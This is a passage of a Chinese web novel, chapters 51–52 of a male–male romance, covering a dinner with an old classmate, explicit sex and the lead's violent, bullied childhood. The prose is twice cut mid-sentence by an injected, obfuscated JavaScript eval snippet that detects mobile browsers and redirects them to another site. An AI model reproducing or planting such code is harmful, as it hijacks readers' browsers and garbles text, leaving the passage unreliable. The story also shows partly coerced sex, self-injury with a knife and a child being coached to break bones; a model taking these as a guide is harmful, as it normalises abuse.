何湛程一愣,他没想到戚时居然这么有格局,于是很利落地点头:“好啊!” 戚时满意了,满眼温柔地揉着他头发,说:“那我们说好了,以后你夜店不准再去,酒吧不准再逛,会所不准乱闯,男人不准再碰,女人也不能乱摸,不然我就打断你的腿,嗯?” 何湛程:“……” 戚时一把揪住他耳朵,手指使力,笑意威胁道:“听见没?” 何湛程又烦又头疼,耷拉着脑袋,无奈道:“听——见——了。” 51.第51章 一家隐匿在京城胡同深巷里的鲁菜馆,二楼普通的六人包厢,天花板上吊着顶六角宫灯,黄澄澄的暖光照在西装男人和长裙女人的脸上,在他英挺眉间与她清秀脸庞上折射出七分的古韵意境,和三分现代都市气息。 玻璃转桌上摆着两荤两素一汤,完全按照男人自己口味点的菜品。 戚时指缝夹着支烟,给自己满上小杯茅台,夹了两口菜进嘴,头也不抬,自顾自小酌着。 对面座位,一桶绿色雪碧被服务员放在女人手边,不小心碰到餐盘旁的手机,屏幕随即一亮,露出一张戚铭的个人写真照。 手机壳也贴满了戚铭各种帅气的大头照。 放在一旁椅子上的鳄鱼皮包,拉链挂坠也是戚铭的毛绒小人玩偶。 唐丽媛被晾在一旁大半天,瞧着戚时对她那副爱答不理的态度,就觉得这人和高中时候一模一样。 不过十年过去,戚时在生意场上沉浮几年,心智变得成熟稳重,知道她不喝白酒,哪怕再讨厌她,也还懂得叫人给她拿瓶雪碧。 可明明楼下有红酒,他就是故意膈应她。 唐丽媛素颜来的,裙子也专挑最便宜的一条,戚时不把她当回事儿,她也不准备太尊重他。 她也很清楚自己长相普通,身高也偏矮,俘获不了这位花心大萝卜的心。 戚时或许会对漂亮的女人献殷勤,但看寻常女人就跟看路边的石头没差。 好在,她也瞧不上他。 久违的老友相聚,唐丽媛都快把擎荣集团大堂前台的电话打爆了,才终于跟戚时的秘书说上了话。 她大学时期就开始做外贸进出口生意,从前卖电器和女装,赚了几桶金,发家致富过上了小资,去年又开创了一个内衣品牌,她是创始人和老板。 近几年创业风口都比较紧,各行各业都严重饱和,她想做高奢品牌,但她的产品并没有特别能拿出手的内容作为噱头,只能说质量还算不错,可市场上质量好、价格优惠的产品太多了,唐丽媛又不想走中低端市场,于是就想到她这位已经是集团总裁的老同学。 唐丽媛的意思是,她想让戚时投资,帮把她这个品牌大肆炒一把,同时,她还相中了戚时近两年新签的一个十八线小白花,那个叫蒋晶的演员。 唐丽媛很满意蒋晶的个人形象,那小女生长相偏清冷甜美,非常符合她产品的市场定位,而且,蒋晶这种刚出道没多久的漂亮十八线,既有前途,代言费也不会收很贵。 唐丽媛合同都拿来了,她说,戚时就是动动嘴的事儿,事成之后,她给他30%的分红。 因为利润十分可观,所以她有自信戚时没有拒绝的理由。 戚时耐着性子听她画了半天大饼,就动了一句嘴,那就是让她滚蛋。 为了让蒋晶爆火升咖,实现她当明星的愿望,让她穿着凉快点儿跟着他去私人酒局上敬酒讨好金主,可以; 为了给唐丽媛帮忙,让蒋晶穿着一身不入流的内衣品牌在全国大荧幕上卖俏装可爱,不行。 他当初带蒋晶去会所应酬,是吃准了陈北劲是个正人君子,不会动她,况且有他戚时亲自压场,她只要嘴巴放甜点儿,态度软和点儿,走个流程就完事儿了。 但要像唐丽媛这种营销法儿,回头万一再来个何冲霆这样的金主,像盯上裴玉一样,也盯上了蒋晶,他戚老二肯定有够头疼的。 而且,不是所有的金主都长得跟何冲霆一样又帅又年轻。 戚时埋头喝着闷酒,心中郁结,不知道这种狗逼日子什么时候才是个头。 也不知道上辈子造什么孽,让他这辈子才二十七的年纪,给一帮和自己岁数差不多的小伙子和小妮子当爹。 他的确不在乎大部分的艺人,他戚时就一颗心,他怎么可能都偏袒得过来? 但就是这一小撮心比天高、又自持矜骄的祖宗们,才是最最最最难搞的! 他又得想法子把他们给捧出去,又得算计着这几个人可千万别让谁给毁了。 前两天,刘导来电话找他告状,说裴玉翘班飞美国了,这小子戏拍到一半,还没升咖呢,就先在组里耍上大牌了,刘导对这件事很不满意。 戚时替裴玉给刘导解释了几句,说,小裴当下的私事更要紧一点,他人不在,那刘导就先拍别人不就好了,小裴又不是没给付误工费。 刘导出乎意料,说,他打电话是让戚时一起帮他骂裴玉的,但没想到戚时居然还挺护犊子。 戚时轻啧一声。 裴玉是所有艺人里,最懂事上进、也最出息的一个,那可是擎荣影视未来要捧红的超一线大明星,不管是从私人欣赏的角度,还是单纯从集团利益来看,他戚时都没理由不护着他。 最重要的是—— 赶紧的吧!赶紧快来个差不多的人把裴玉那小子给收了吧!他真受不了裴玉成天追在何湛程后面一口一个“三少”的喊,还总摆一副“不管我们三少脾气有多坏,我都无条件接受他”的臭德行。 搞得好像他戚老二这个正牌男友,但凡忍不了他家三少的坏脾气,就不配跟他家三少谈情说爱似的。 烦人。 唐丽媛微微失望,不禁抱怨起来,说戚时太不人情了,上高中时候,他还帮她追星呢,现在有身份地位了,他反而势利起来了。 戚时轻嗤一声:“老子不提就算了,你他妈还好意思提?” 唐丽媛“嗐”一声:“当时年纪小不懂事,你怎么还记上仇了?” 戚时冷哼一声。 唐丽媛就是当年在公交站跟人吵架的女生。 戚时本来没注意她长什么样,但他那件事闹得太大,校方根本压不下来,后来他回校上学,整个学校都在传他和唐丽媛的“校霸和乖乖女”的浪漫爱情故事,说他是为了给她出头,才把那个碎嘴男给打爆头了。 风言风语的,惹得他们班上一直跟他搞暧昧的班花都不理他了。 戚时就等,上课照镜子,下课打探八卦,他要等着那个叫唐丽媛的女生揣着小纸条或者端着爱心午餐跑来班上跟他表白啥的,然后,他就跟青春偶像剧男主角一样,潇洒帅气一撩头发,非常高冷地拒绝她: “不好意思,接下来我准备以学业为主,暂时不搞对象。” 唐丽媛没来找他。 是戚时憋不住了,趁着午休,跑去唐丽媛班上,想看看人家长啥样。 是个一个理重的学霸女生,坐在第二排,皮肤很好,但长相很一般。 十七岁的戚时撇撇嘴。 十七岁的唐丽媛注意到有个大高个儿杵在她班级门口,放下自动笔,一脸淡定地走出来,跟他说:“那天谢谢你,但是不好意思,高中阶段我准备以学业为主,不想和任何人谈恋爱。” 戚时:“………………” 在风中凌乱了三四分钟,戚时不理解地问:“你为啥不喜欢我?” 唐丽媛纳闷:“我为啥要喜欢你?” 戚时那时候脸皮还薄,没好意思说“因为我帅啊,很多女生都喜欢我”。 冲人“哦”了一声,转身就走。 唐丽媛突然叫住他,说:“我见过你在操场上训练。” 戚时扭头,一挑眉:“然后呢?” 唐丽媛抿了抿唇,说:“你们体育老师经常拿棍子打你,你还冲他笑。” 戚时耸耸肩,一脸无所谓:“学体育的都这样,落后就会被惩罚,很正常。” 唐丽媛皱眉:“不,是你挑衅他,他才故意打你的!你没发现吗,别人都是挨骂,只有你一个人是在挨打!” 戚时一笑:“你误会了吧?他是因为看重我才只打我的,他说我能考上燕体,叫我再多努努力。” 唐丽媛只觉得这个人简直无可救药,懒得再说什么,转身就往教室走。 身后人想起来什么似的,说:“诶,你喜欢我哥啊?不错,挺有眼光。” 她霍然转身:“戚铭是你哥?!!!” 戚时吓一跳,一脸无语地说:“大姐,我姓戚,戚铭也姓戚,他不是我哥,难不成是你哥啊?” 唐丽媛瞬间就变了一副脸色,两眼放光地狂奔过来,一把握住他手,激动道:“好!好!弟弟,你不用害怕,从今往后,我会保护你的!” 戚时莫名其妙:“大姐你没事吧?谁是你弟弟?” 唐丽媛臭屁一撩头发,说:“我是你哥女友粉来着!” 戚时嫌弃地甩开她手,说:“我不知道驴友粉,我只知道老友粉,我们楼下就有一家,齁咸。” 唐丽媛从此开启了给偶像弟弟献殷勤的曲线救国式追星日子。 戚时家里有保姆每天给送豪华营养餐,唐丽媛只是普通家庭的孩子,但为了在弟弟面前刷存在感,唐丽媛每天下课准时准点跑去操场,给正训练的弟弟送水,好言好语地哄着弟弟收敛点脾气,可千万别再惹体育老师生气,但一不留意又看见他在挨打,她就火速冲过来挡在他身前,老母鸡护犊子似的,搞得体育老师还以为她是他女朋友。 唐丽媛凭借一己之力,把围在他身边的那些漂亮班花、校花们全挤走了。 戚时就嫌她很碍事。 没了美女们的围观,他每天训练都没成就感了,臭着脸轰了唐丽媛好几回,她假装听不见,成天跟在他身边阴魂不散,就为了让他愿意和她交朋友,然后把她领到他哥面前,让她和他哥一起吃个饭拍个合照啥的。 以及,如果他哥愿意娶她,她也是非常愿意嫁给他哥的。 戚时不是很能理解唐丽媛这种追星女的脑回路,但瞧着她每天为了偶像也挺拼的。唐丽媛家里给她的早午饭钱,她都没花,课下还经常去附近几个班级搜罗一摞一摞的、学生们没用的、沉甸甸的废卷子和资料,晚上放学后又跑去翻路边垃圾桶捡塑料瓶,周末就偷偷开着她家里的小破三轮去卖废品。 唐丽媛告诉他,她得攒钱,然后买他哥粉丝见面会的门票。 她想买VIP票,能和他哥合拍、牵手、说话的那种票,全套餐两千多一张呢。 他回头就找他哥要了一沓票,全送给了她。 十七岁的唐丽媛虽然穷,却是个资深追星女,闲着没事了,也会给他讲一些娱乐圈的八卦内幕,还有很多听起来十分荒谬、但事实永远在发生的潜规则,算是第一个帮戚时启悟这个行业的前辈。 不仅如此,唐丽媛还自告奋勇帮他补课,说,他既然是为了他哥要好好学习,她就有义务辅助。 戚时逐渐佩服起她这股子追星精神。 他们的友情维持了五六年,唐丽媛对他哥汹涌的爱意只增不减,早已超过一个粉丝对偶像的极限。 正因如此,前几年她在得知他哥和一个底层出身、毫无名气的八十线男网红交往后,一夜之间就变得近乎歇斯底里的疯狂。 唐丽媛是戚铭粉丝后援会背景最强的站姐,而戚时就是她在娱乐圈最硬的人脉。 唐丽媛接受不了偶像一朵鲜花插在牛粪上,第一个站出来用脱粉和爆料来威胁他哥和那个男绿茶分手,为此还跟他哥的工作室干起来了! 戚时一开始还在心里暗暗叫好,他也认为男绿茶配不上他哥,但唐丽媛实在太疯狂了,为了让他哥低头,她库库砸钱买水军,凭一己之力,把各大社交平台的娱乐版块都冲瘫痪了,他哥的负面热搜在微博持续挂了半个月,已经严重影响到了商业价值,但他哥脾气更刚,始终拒绝表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508290|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态,戚时这才不得不亲自出马,施以雷霆手段,把这个疯婆子给摁下去。 唐丽媛被恨意冲昏了头,戚时气得更是头疼。 她跟他认识多年,近水楼台,又很懂行,从探究他哥的隐私方面来说,她比他还要清楚他哥没出名前在与什么人来往。 她一怒之下,居然把他哥之前的金主给爆出来了,这个令他哥无比忌讳的、连他都不能随便提及的名字,就这样被唐丽媛轻飘飘地发了出来。 仅过了一分钟,这件事在全网引发轩然大波,他哥全平台脱粉达千万,擎荣集团的股值也随之一路猛跌,戚时只恨不得立刻把唐丽媛给掐死! 为着这事,他当年在半小时内狂砸两个亿才堵住悠悠众口。 结局也并不好,他哥被卷入好一阵子的情场麻烦,他再努力也只能是勉强惨淡收场,集团为此花了一年多时间才回血,手下员工们纷纷八卦开小差,公司氛围一度差到极点。 这女人眼下在事业上遇上瓶颈了,就又来找他要投资? 他没报警抓她,都算是看在过去俩人的朋友情分了! 戚时吃饱喝足,叼着烟一摸兜,扔给她一张存额为五十万的银行卡,让她从哪来滚哪去,别总把他当她的退路。 她甚至都不是他包养的女人,他凭什么对她这么好? 唐丽媛不痛快地撇撇嘴,眼疾手快把那张差点飞到她油腻腻盘子里的银行卡揣回包里。 “五十万就五十万,”她一抬下巴,说,“五十万也是钱呢,等我靠自己拉投资赚到了大钱,有你小子好哭的!” 戚时翘翘嘴角。 落下手指,在桌前吐了一堆鸡骨头的餐盘里掸了两下烟灰,说:“滚蛋。” 唐丽媛起身挎着包离开,戚时淡淡目光扫一眼她纤瘦的背影,仿佛又看到当年走在放学路上,那个一会儿积极地抢着帮他背书包,一会儿又忙着去翻垃圾桶捡塑料瓶的女生身影。 不管怎样,他一直很钦佩她的韧性。 他也知道,就算没有他帮忙,她做什么都会成功的。 “诶对了,”唐丽媛走到门口,突然想起什么,扭头问,“这两年没见,你那病好点儿没啊?前阵子我遇到个不错的心理咨询医师,立刻就想起你了,回头我领你去看看啊?” 戚时缓缓吐了口烟,撑着手腕靠在椅子上,一脸淡淡然:“没你的事,少来管我。” 唐丽媛眉头一皱,踩着平底鞋噔噔又朝他走过来,说:“怎么不关我事啊,你也不告诉你哥,这么多年了,这事儿就我一个人知道吧?” “也是,像你这种性格,哪里是会挨欺负的,你把别人搞抑郁了还差不多。” “不过我最近有个好消息,你要不要听一下?” “哎算了,你这种扫兴又没劲的人,我干脆直说了吧!” “高中时候那个总拿棍子打你的体育老师,他今年二月份的时候出车祸死了,我朋友圈有人转发了他的讣告,他们还要去墓前给他献花呢。” “像他这种没有师德的老混蛋,生前打骂学生坏事做尽,死后居然还要流芳百世?真是神经!鬼才给他献花呢!” “不过恶有恶报,不枉费我当年天天扎他小人,他也算是死得其所了。” “你呢?你听了以后,心里有没有痛快一点?那老混蛋当初也坑了你哥不少钱吧?隔三差五就让你们买他的营养品,又要补钙补维生素,又让补蛋白的,他一个小破县城的体育老师能拿得出什么好东西?靠着几个三无厂商供应的便宜货,淀粉掺和着亢奋药,他中间商赚差价拿了多少利润?你居然还把他当父亲一样,谁家父亲把儿子往死里打的?你也是神经病!” “之前的事,我知道我是做错了,随便你怎么讨厌我,但一码归一码,趁着你这病还不算严重,你听我的,咱们早治早好。” “废话完没?”戚时斜她一眼,“你还当你是我嫂子呢?你如果不走,就把卡还我。” 唐丽媛唰地一下后退三步,紧紧捂住自己的包。 她皱眉:“你别总是这么一副狼心狗肺的样子行不行?” 戚时充耳不闻,自顾自倒酒喝。 “还有,”她一脸正色地纠正,“我现在不是女友粉,我转妈妈粉了,你愿意的话,以后可以称呼我一声‘小妈’。” 戚时:“……” 这个神经女人! 戚时“啪”一声放下酒杯,转脸不耐烦道:“我看有病的人是你!你少在老子面前咋呼,我现在过得很幸福,用不着你这个老妈子操心,你该干什么就干什么去!” 唐丽媛眉梢一挑,敏锐捕捉到“很幸福”这三个字。 可戚时根本不是会说这种话的人。 对于即兴的快乐,他只会说“挺爽的”、“舒坦”、“带劲”、“真不赖”,轻佻又洒脱,因为只要他享受过,他就不会去在意这份快乐是否持久。 可这一次,他却用了一句“我现在过得很幸福”来形容。 她不禁好奇地走过去,想问他一句“你是不是结婚了啊”,正待开口,他随意扔在桌边的手机,屏幕忽然亮了一下。 一个坐在豪华游艇上的少年,身材高大,眉宇间英气勃勃,一双深眸紧盯着镜头,清爽帅气,十足的富派风流。 界面三条接连弹出消息。 程儿:二哥,想我没啊? 程儿:今晚我会回家,你记得早点回来 程儿:【玫瑰】【红心】【飞吻】【月亮】 她愣了一下,不太敢相信地扭脸去瞅他。 戚时捻灭烟头,清清嗓,一脸淡定地拿过手机。 唐丽媛眨眨眼:“这位是?” “我的幸福。” 52.第52章 雪白的床褥柔软而濡湿,何湛程仰着脖子大喘气,忍不住抱紧埋在他*的头,整个人大汗淋漓如同泡在水里,皮囊之下,几近干涸。 戚时嘴里含着*,爬上来吻他。 “崽儿,尝尝你的水儿甜不甜。” 何湛程嫌弃地偏过头,说了句“不要”。 戚时的恶趣味,一天一个样儿。 一句委屈巴巴的“隔着一层膜不舒服”,从此睡他再也不戴T;又一句花言巧语的“没尝过nei*she别人的滋味,好想和喜欢的人试试”,半哄半强制地给他灌了满肚子J|Ye;现在又让他吃自己的*,可谓是下流到极点。 戚时一笑,喉结滚动,自己把那东西咽下去了。 从身后抱住何湛程,下巴搁在他肩膀,来回轻蹭着:“程儿,最近别出去了行吗,你不在,我这日子过得好没意思。” 何湛程扯过床头湿巾,低头擦着下身:“怎么没意思了,你今天不是和女人出去吃饭了么?听说还订了个大包厢呢,一男一女,坐六人间,你俩是站在桌子上吃的?” 戚时闷闷地笑,落唇吻在他肩膀:“茉莉说的?她现在可算是能名正言顺偏袒你了,就是没想到,原来我们大少爷也会查岗?嗯?” 何湛程瞥他一眼:“你有意见?” 戚时埋头在他颈间吸气:“怎么会,我巴不得你盯我紧点儿,是因为六人间宽敞,我是有家室的人,不想挨她太近。” 何湛程勉强满意地“嗯”了声。 戚时晃他胳膊:“你朝我这边儿。” 何湛程一笑,转过身,将人抱住。 戚时眸光一暗,俯身过来又要吻他。 “程儿,再跟哥来一场吧。” 何湛程翘起嘴角,凑在戚时眼皮上啄了一下,说:“行了,知道你很猛了,三点多了,今夜就到这里吧。” 自从同居后,戚时变得越来越黏人,一天向他索吻无数次,像头随时随地在发|情的野兽,不分白天黑夜地向他示爱求|欢,床笫之间,劣根难除,仗着他无底线的纵容,这人更是夜夜对他犯浑。 戚时大部分时候把他当爱人,可一旦真正交|合,就很难对他温柔,等到疯魔上了头,那人把他当男妓一样对待,大汗淋漓地爆着粗口,一边Cao他,一边又骂他,下一秒高涨癫狂的情绪又如骤退的潮水,低落无比,闷声怨恼着,说,只要一想到在他与他不曾相识的日子里,无数人都曾见过他在床上的这副样子,他就恨不得将他们全都找出来杀了。 这样一个疯疯癫癫的陌生人,何湛程从未见过。 他耐着性子,一遍又一遍,不厌其烦地对人做出承诺,发誓自己以后再也不乱搞了,戚时根本听不进脑子里。 何湛程某次忍不住发火:“爱信不信,你不想听,有的是人愿意听!” 戚时又挽留,抱得他紧紧的,像一只孤独的小狗在求主人不要离开,戚时也不要他离开。 “程儿,我不在乎那些的。” “我就是……” “我怕你被别人抢走。” 何湛程不吭声。 戚时就在他们床前放了一把匕首。 漆黑刀鞘,雪亮锋利的刀身,单手蓦地握住,噗嗤一声,掌心绽放出朵朵血花。 戚时鲜血淋漓地握着那把刀,说,如果他再犯浑,何湛程就拿这把刀捅死他好了。 何湛程翻了个大白眼,敷衍了句“好”,转头就把这刀送给王姨切水果了。 脑子里的确产生过想散了的念头,可拖着行李穿梭在这栋空荡荡的大别墅里需要走好长时间,他就又不想走了。 他放心不下那个傻瓜。 次日早一醒来,戚时挽着衬衣袖扣,一身笔挺西装立在床前。 晨曦透过半遮光窗帘,映照在男人白皙的脸庞,浓眉深目,英俊又迷人。 何湛程托腮靠在枕头上,听这位威严的总裁像个市井混混一样,骂骂咧咧地跟他抱怨,说这周很想和他出去逛街吃饭看电影,但是上个月翘班太长时间,堆积的工作量都快把办公桌压垮了,这个月忙得不可开交,真几把烦人! “行了,”何湛程劝道,“再不想去,心里不也是放不下吗,那就开心点呗,上班累了就给我打视频,我打飞机给你看,乖!” 戚时笑呛一声,紧锁的眉头一下子舒展开来。 他屈膝跪在床上,捧起何湛程的脸,吻了一下。 “你最好了。” 何湛程接过戚时缠在腕上的领带,揪揪他耳朵:“那我们的戚时小朋友,哥哥来帮你系红领巾,好不好呀?” 戚时立正站好,笑说:“好,谢谢哥哥!” 何湛程往身上套了件T恤,赤脚踩着被子,站着床边给戚时系领带。 戚时不老实地拨弄着手指玩鸟,问:“哥哥,别的男人都是露膀子穿裤子,你怎么露鸟穿衣服啊?” 何湛程捏捏他脸蛋,说:“因为你是小流氓,哥哥是大流氓啊。” 二人对视一眼,不约而同笑起来。 “程儿,我先走了,”戚时拎起外套,临走前又亲他一下,匆匆交代道:“你再睡会儿,果汁儿现在跟你熟了,我就不带去公司了,你下午趁着太阳好,记得带她去外面多溜达几圈。还有,今天施工师傅来改装咱家,你有什么要求尽管跟他们提,阳台先不用管,等我闲下来了,咱们一块儿种花。” “知道了,”何湛程含笑招手目送着那人离开,嘱咐着:“路上开车慢点。” “走了!” “嗯。” 高大挺拔的西装身影消失在门缝隙中,何湛程望着重新紧闭的卧室门,眸底的笑意渐渐淡下去,浮起几分无奈与惆怅。 他昨天见过戚铭了。 在戚铭家里,他没有见到戚时口中的“男绿茶”,戚铭没好气地说,我们家“男绿茶”有名字,叫瞿岳。 “万里瞿唐月的‘瞿’,山川海岳的‘岳’。”戚铭说。 瞿岳进组拍戏了,戚铭在家里招待他,那位在媒体镜头前风光无限的影帝,私下生活也只是个稍微富裕些的普通人。 戚铭为他切了鲜果盘,沏了龙井,还把提前烤好的蛋糕拿给他吃。 何湛程端着茶杯坐在沙发上,全程打量戚铭的脸。 比起他自家傲慢的大哥、轻狂的二哥,戚铭这个将近四十的、脾性温和的男人,看起来更具兄长风范。 戚铭真人要比镜头下拍出来更英俊,皮肤保养更多靠运动而非用药品维持,他并没有何湛程想象中那么老,反而自带一种年长者历经沧桑后的成熟魅力。 这要搁以前,何湛程高低得调戏对方两句,但他现在有了主,一想到戚时那副吃起醋来就凶神恶煞要杀人的样子,心里不禁一阵好笑。 满胸腔充盈着温柔,于是擦肩而过再多魅力无限的男男女女,也都觉得不过尔尔。 不过,令何湛程失望的是,戚铭对弟弟服用氟西汀的事一无所知。 戚铭惊诧之余,立刻掏手机就要给戚时打电话问怎么回事,何湛程连忙抬手制止。 就凭戚时那犟脾气,心里有事儿了,想说他早就说了,哪里还轮得到戚铭后知后觉打电话问? 戚铭一问,戚时只会更防着他们。 何湛程听戚时聊过往事,说小时候不懂事,被哥哥狠揍过几次,何湛程观察戚铭,很难想象这位笑容如春风般和煦的绅士,背地里是那种会把人往死里打的魔鬼。 何湛程言辞委婉地问戚铭,他从前是否对弟弟有过虐待行为。 这话倒把戚铭吓了一跳,连忙放下茶杯,不太理解地望向何湛程,询问他,原来在戚时眼里,自己是这样一个暴戾不讲理的形象? 何湛程就又凌乱了。 按照戚铭所说,戚时从小到大也就挨过他两次打; 第一次是戚铭的十七岁,青春叛逆期加上父母猝然离世,戚铭在临近高考的重要关头,一夜之间跌入黑渊,弟弟又不懂事,他解决问题的手段就难免粗暴了些; 第二次是戚时的十七岁,为着路边学生的几句闲言碎语,戚时险些把人家的脑袋给开瓢了,戚铭又当哥哥又当爹的,哪怕性子再成熟沉稳,刚听到消息时也不免被吓得心惊胆战。 但戚时毫无悔改之心,还放出豪言,说如果下次再碰到那小子,对方不给他磕三个响头道歉,他还要继续找人算账! 戚铭恨铁不成钢,明白跟老二讲道理如同对牛弹琴,干脆抽起皮带劈头盖脸一顿狠抽,这才把弟弟教训乖了。 少年戚时桀骜不驯,无论性格长相,都十分具备犯罪分子的潜质,按照戚铭的说法,这小子只有对哥哥是懂事的。 从小到大,戚时在学校惹出过的麻烦数不胜数,打同学、打老师、不痛快了连校长办公室都敢砸,一路打打杀杀着过来,戾气不减反增,戚铭就觉得老二还是太闲,一股脑给人报了许多辅导班、兴趣班,希望能中和一下弟弟的暴脾气,把日子过得充实点,这样傻小子就不会成天想那些乱七八糟的事了。 结果那小子把报班的钱,全拿去请在职高结识的那帮狐朋狗友们吃饭喝酒学抽烟,只为了自己能在学校里称王称霸,成为万众瞩目的人物。 “简直是傻到不可理喻。”戚铭又心疼又无奈。 何湛程敏锐嗅到一丝异样,问:“他想什么乱七八糟的事?” 戚铭默了默,望着他:“你应该也知道,我们的父母在他七岁那年就去世了。” 何湛程点点头,说:“知道。” 这句话戚时跟他说过无数遍了,并不是特意地讲什么事,只是俩人日常吃饭、看电视、洗澡,甚至在事后温存的时候,本来聊着聊着别的事,戚时就会突然给他来这么一句“我爸妈在我七岁的时候就没了,我都不记得他们长什么样”,莫名其妙的,听得他耳朵都快起茧子了。 “这其实不是一句轻松的话,”戚铭说,“这是他一个人的十年。” 从七岁到十七岁,戚时从一个性格极端阴郁的孤儿,成长为一个极端开朗活泼的大男孩,戚铭把这件令他感到欣慰的事归结为“弟弟自我调节情绪的能力很好”。 他忙,从家破人亡后就一直在忙,他最大的任务是要确保弟弟活着,他疲于奔命,没空探究弟弟成长过程中的心理路程。 戚铭对何湛程说,除了戚时高三那年,那小子险些因为自己的花边新闻惹出牢狱之灾,戚时在学校里闯出的任何祸事,他都从未有过打骂。 他们住在一个贫困县。 一个年年在修路,年年修不好路的那种贫困县。 风纪差劲,帮派出没,普通中学遍布不良混混,职高养出一群天天搞火并的大哥小弟,哪怕是当地最好的学校,师资队伍成分复杂,食堂也存在严重的食品安全。 戚铭刚上大学的时候还没钱,每天骑着辆破自行车接弟弟放学,不满二十的年纪,一副英俊潇洒的皮囊,又是个年轻大学生,轻易就能从蹲在校门口乘凉唠嗑的一堆嘈杂妇女和留守老人里脱颖而出。 戚时知道哥哥很帅,每天放学背着个小书包,在学校当了一整天的闷葫芦,只有在见到戚铭才会绽放出笑脸,冲人大声地喊:“哥哥,我在这儿!” 脆亮亮的声音,雪嫩的小脸,英气勃勃的眉宇,笑起来像小太阳,很讨人喜。 也很讨人厌。 这对外貌出众的兄弟很快吸引了旁人的注意,不到半个月,他们的身份就被定案了:孤儿。 闲言碎语像瘟疫一样传播开来,本来在班级上极受欢迎的小戚时,很快被同学和老师排挤成边缘人。 戚铭也发现弟弟的异样,每晚放学后,弟弟原本整洁朴素的衣衫变得脏兮兮的,最喜欢的那件印着黑猫警长的棉黑T恤,隔三差五被溅满泥土,脸蛋、脖子和肩膀到处都被掐得红红的。 弟弟一直坚持说这是自己不小心弄的,直到某天,戚铭在弟弟的头发和耳朵里闻到了尿臊味。 戚铭两眼充血,抄起钢棍破门而出。 他要一家一家去找,无论男女,无论年纪多大,无论有心还是无意,无论是出身富贵还是贫贱之家,他一定要将他们全都找出来杀了! 小戚时飞跑着追出来,一把抱住他小腿,仰脸望他:“哥,我不喜欢上学,我能不上学了吗?” “哥,只要我不上学,什么事都不会发生了。” “哥,我本来也不喜欢念书。” “哥,你别去了,你刚从医院出来,你打不过他们的。” “哥,你别哭,没事儿,等我长大了,我就能保护你了。” 戚铭垂头看着这个还没他小腿高的小豆丁,一刹间,热泪如溃堤洪水夺眶而出,绝望与无助袭遍全身,他强行按捺住想从十楼纵身跳下去的冲动,沉默着对脚边的人点了点头,将弟弟抱回了家。 戚铭买了把推子,给弟弟剃了光头,他告诉弟弟,等他赚够了钱,他就带着他搬家转学。他们要去北方最大的城市,去整个中国的心脏,他们要去首都定居,在那里,不会有人嘲笑和议论他们,等到那时候,戚时再把头发留起来。 小戚时笑着说好。 之后,每天送弟弟上学前,戚铭都会往弟弟书包里装上一根棒球棍,他告诉戚时,从今往后,谁再敢欺负他,谁再敢对他吐一个脏字,戚时就可以拿起这根棍子把他们往死里打。 鼻子、胳膊、肩膀、后背、腰、膝盖……第一,避开对方重要部位;第二,一定要把他们打到骨折、打到见血。 只有见了血,他们才会怕他。 只有他们怕他,他才会安全。 至于那些被逐渐暴戾起来的戚时打到满地求饶打滚的伤残病号,谁又在乎呢? 他们姓戚的无父无母,但他们也不是任人欺负的窝囊废。 日复一日,木制棒球棍换成了更加衬手的重型钢棍,戚时成长得很迅速,健康而茁壮,英俊、高挑,为人豪爽,出手阔绰,身边很快重新挤满了新的朋友。 他成为整座县城所有中学和职高里最出名的人物,初中时候,一个人拎着书包走在放学回家的路上,连高三的那帮刺头混混路过都要停下来和他称兄道弟打招呼。 他是名副其实的校霸,距离成为真正的黑|She|会,只差脱掉那套清纯的蓝白校服。 戚铭不允许弟弟脱掉那身校服,为了让人听话,他在外面更加努力地赚钱,包红包给老师、给校长,为了纠正弟弟渐趋失控的野蛮脾性,他开始有意识地干预对方。 他总不经意地向弟弟提起自己在外有多么辛苦、操劳,他这些年都为戚时牺牲过什么,梦想、前途、作为一个男人的尊严与清白,他不择手段爬上高位,全都是为了兄弟俩能过上更好的生活……他要唤醒弟弟内心的柔软,让这个远在千里之外的叛逆少年顺从、听话。 也许这就是道德绑架,也许他早已给弟弟造成了精神上无法挽回的压力,但戚铭根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525471|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本顾不得这些。 他不想某日回家探亲,看到的是一具打架斗殴后战败的少年尸体。 他渐渐弱化自己的抱负和野心,一味将生活对自己的折磨强压到戚时的头上,他要求戚时只能在他眼皮子底下活动,只能去做他命令给他的事。 就像小时候承诺的那样,戚时对他的一切要求照单全收,从不表露出任何不满,并且每一样都做得很出色。 这二十年来,兄弟俩这样度过,有什么问题么? 将近三十的戚时,硕士毕业,集团总裁,智商没问题;睡过女人,也干过男人,性功能没问题;身高一米九,体重110公斤,体脂率15%,健康没问题;英俊活泼,阳光开朗,性格没问题。 只是偶尔,这人在道德上有点小瑕疵,但只要弟弟活着,戚铭就不觉得有问题。 “有什么问题吗?”戚铭双手交叉搁在桌上,一脸平静地将这句话送给何湛程。 在他眼里,这个才刚满二十的、父母双全、家财万贯、还有两个兄长呵护着长大的千金大少爷,自幼仆从成群,无忧无虑,他懂得什么叫“生存”么? 而且,戚铭对何湛程那句有关“虐待”的话感到有几分不适。 维持着表面的客套,戚铭含蓄地对何湛程说,自打知晓何湛程和他们家老二在一起后,他就一直发信息让老二带着对象来家里吃顿饭,没想到,戚时始终没给回音,倒是何湛程自己一个人登门来了。 何湛程咬着后牙槽呵呵笑。 他对戚铭“一个令人如沐春风的正人君子”的初印象登时降为负值。 还有戚老二—— 